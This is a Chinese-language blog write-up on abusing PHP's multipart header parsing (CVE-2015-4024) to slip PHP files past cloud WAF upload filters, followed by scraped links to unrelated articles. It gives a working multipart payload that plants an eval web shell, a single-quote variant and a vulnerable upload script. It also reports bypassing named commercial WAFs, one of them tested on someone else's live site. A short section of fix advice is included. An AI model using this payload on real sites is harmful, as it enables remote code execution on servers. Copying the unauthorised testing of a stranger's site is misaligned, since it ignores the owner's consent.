1.     背景介绍

今天我们想从2015.04.03的一个PHP远程dos漏洞(CVE-2015-4024)说起。技术细节见如下链接,https://bugs.php.net/bug.php?id=69364。因为php解析body part的header时进行字符串拼接,而拼接过程重复拷贝字符导致DOS。事实上该漏洞还有其他非dos的利用价值,其中之一,就是绕过当前各种云WAF的文件上传防御策略。

目前国内外流行的云WAF厂商有如百度云加速,360网站卫士,加速乐,云盾等。因为PHP远程dos漏洞及PHP官方修复方案的特点,我们成功利用该漏洞绕过了当前主流WAF的文件上传防御,例如百度云加速、360网站卫士、知道创于加速乐、安全狗。

接下来,我们以PHP为例,详细解析我们的绕过方法。

2.     绕过WAF的原理

根据PHP DOS漏洞原理,在multipart_buffer_headers函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符':',都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块,从而导致DOS。


prev_len= strlen(prev_entry.value);

cur_len= strlen(line);

entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存

memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝

memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝

entry.value[cur_len+ prev_len] = '\0';

entry.key= estrdup(prev_entry.key);

zend_llist_remove_tail(header);//1次内存释放


而PHP官方修复方案,在进行合并时,避免重复拷贝,从而避免DOS。绕过WAF的关键在于,PHP multipart_buffer_headers函数解析header对应value时,value值存在多行。每行的字符串以空白符开头或不存字符':',将进行合并。而WAF在解析文件上传的文件名时,没有考虑协议兼容,不进行多行合并,就可以被绕过。

根据原理构造绕过WAF文件上传防御的payload,WAF解析到的文件名为”test3.jpg”,而PHP解析到的文件名是”test3.jpg\nf/shell.php”,因为”/”是目录分隔符,上传的文件名变为shell.php。以下是绕过paylaod、测试脚本、paylaod进行文件上传的效果图。

WAF绕过payload:


------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename="test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET['c'])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y


文件上传功能测试脚:

<?php

$name = $_FILES['file']['name'];

echo $name;

echo "\n";

move_uploaded_file($_FILES['file']['tmp_name'] , '/usr/local/nginx/html/upload/'.$_FILES['file']['name']);

echo "upload success! ".$_FILES['file']['name'];

echo "\n";

echo strlen($_FILES['file']['name']);

?>


Payload能够正常上传

3.     绕过WAF实战

笔者通过搭建自己的测试站,接入360网站卫士和加速乐,验证绕过WAF文件上传防御的方法。

3.1 绕过360网站卫士

步骤1,验证网站已被360网站卫士防御,拦截了直接上传PHP文件的请求。

步骤2:成功绕过360网站卫士,上传shell成功,文件是apo.php。在该请求中,有没有Content-Type不影响绕过。

3.2 绕过知道创宇加速乐

步骤一:验证网站被加速乐保护,拦截了直接上传PHP文件的请求。

步骤二:

成功绕过加速乐,上传shell,文件是syt.php。

3.3. 绕过百度云加速

百度云加速与CloudFlare,从百度匀加速拦截页面可以看出使用的是CloudFlare. 但是估计有本地化,百度云加速应该是百度和CloudFlare共同产物吧。测试百度没有搭建自己的测试环境,找了个接入了百度云加速的站进行测试。

步骤一:验证网站被百度云加速保护,拦截了直接上传PHP文件的请求。

步骤二:成功绕过云加速

4.     扩展—更多的工作

4.1 分析filename其他字符的绕过

同理,我们发现除了双引号外,使用单引号也能绕过WAF的防御,并实现文件上传。

------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename='test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET['c'])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y

4.2 分析其他应用脚本语言

我们也发现jsp解析也有自己的特点,同时可被用于绕过WAF。暂时未测试asp,aspx,python等常用的WEB应用脚本语言。

5.     修复方案

5.1 修复方案一

解析文件上传请求时,如果发现请求不符合协议规范,则拒绝请求。可能会产生误拦截,需要评估误拦截的影响范围。

5.2 修复方案二

兼容php的文件解析方式,解析文件名时,以单引号或双引号开头,并且对应的单引号或双引号闭合。

6.     总结

本文通过Review PHP远程dos漏洞(CVE-2015-4024),并利用该特性绕过现有WAF的文件上传防御,成功上传shell。 更重要的价值,提供给我们一个绕过WAF的新思路,一种研究新方向:利用后端应用脚本与WAF行为的差异绕过WAF的防御。总的来说,一款优秀的WAF应该能够处理兼容WEB应用容器、标准协议、web服务器这间的差异。

PHP DOS漏洞的新利用:CVE-2015-4024 Reviewed的更多相关文章

  1. CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)

    CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...

  2. PHP远程DoS漏洞深入分析及防护方案

    PHP远程DoS漏洞 4月3日,有人在PHP官网提交PHP 远程DoS漏洞(PHP Multipart/form-data remote dos Vulnerability),代号69364.由于该漏 ...

  3. FakeID签名漏洞分析及利用(二)

    本文转自:http://blog.csdn.net/l173864930/article/details/38409521 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公 ...

  4. FakeID签名漏洞分析及利用(一)

    作者:申迪   转载请注明出处: http://blogs.360.cn/360mobile BlueBox于7月30日宣布安卓从2010年以来一直存在一个apk签名问题[1],并且会在今年Black ...

  5. 记录php漏洞--宇宙最强语言 PHP 爆出 DoS 漏洞,可以直接灌满 CPU

    站长之家(Chinaz.com)5月20日消息  近日,PHP被爆出存在远程DOS漏洞,若黑客利用该漏洞构造PoC发起连接,容易导致目标主机CPU被迅速消耗.此漏洞涉及众多PHP版本,因而影响范围极大 ...

  6. PHP多个版本爆出远程DOS漏洞

    近日,php多个版本爆出远程DoS漏洞(官方编号69364),利用该漏洞构造poc发起链接,很容易导致目标主机cpu的100%占用率,绿盟科技威胁响应中心随即启动应急机制, 启动应急响应工作,总结PH ...

  7. CVE-2014-0322漏洞成因与利用分析

    CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了 ...

  8. CVE-2013-3897漏洞成因与利用分析

    CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对 ...

  9. [转帖]预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响

    预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响   https://cloud.tencent.com/developer/article/1447879 所有的 版本 ...

随机推荐

  1. 关于Vue vuex vux 文档

    01. vue 链接 http://vuejs.org.cn/guide/ 02. vuex  ----->>状态管理模块儿<<------- https://vuex.vue ...

  2. SSH使用详解

    一.SSH基础 (1)什么是SSH? 传统的网络服务程序,如:ftp.pop和telnet在本质上都是不安全的,因为它们在网络上用明文传送口令和数据,别有用心的人非常容易就可以截获这些口令和数据.而且 ...

  3. LL(1)文法

    <源程序>→<外部声明>|<外部声明><函数体> <外部申明>→<头文件><函数声明>|其他声明 <函数体&g ...

  4. ios获取设备信息总结

    1.获取设备的信息 UIDevice *device = [[UIDevice alloc] int]; NSString *name = device.name;       //获取设备所有者的名 ...

  5. SpringBoot前世今生

    序 本文主要讲述spring boot的由来,即其它诞生的背景,初衷,现状,及对未来的展望. 背景 在很早的年代,J2EE还是java企业级应用的王者规范,EJB风行其道.后来有一个叫Rod John ...

  6. Mac OS X上搭建伪分布式CDH版本Hadoop开发环境

    最近在研究数据挖掘相关的东西,在本地 Mac 环境搭建了一套伪分布式的 hadoop 开发环境,采用CDH发行版本,省时省心. 参考来源 How-to: Install CDH on Mac OSX ...

  7. [BI项目记]-新任务处理

    上一篇主要介绍如何借助TFS创建一个新的工作项,此篇主要演示如何对其进行处理. 首先回顾下新工作项不同阶段的定义. 接下来进入到开发阶段,根据需求创建五个报表.打开SQL Server Data To ...

  8. Git版本控制管理学习笔记4-文件管理和索引

        可以认为使用Git时,我们会遇到3个空间:工作目录.索引.版本库.我们关心的,就是在新建.修改等操作时,这三者之间发生了怎样的变化.     笼统的讲,就是在工作目录下编辑,在索引中积累修改, ...

  9. Tor网络突破IP封锁,爬虫好搭档【入门手册】

    本文地址:http://www.cnblogs.com/likeli/p/5719230.html 前言 本文不提供任何搭梯子之类的内容,我在这里仅仅讨论网络爬虫遇到的IP封杀,然后使用Tor如何对抗 ...

  10. racket

    let 和 let* 区别 ``` racket // 这是对的 (let* ([x (random 4)][o (random 4)] [diff (number->string (abs ( ...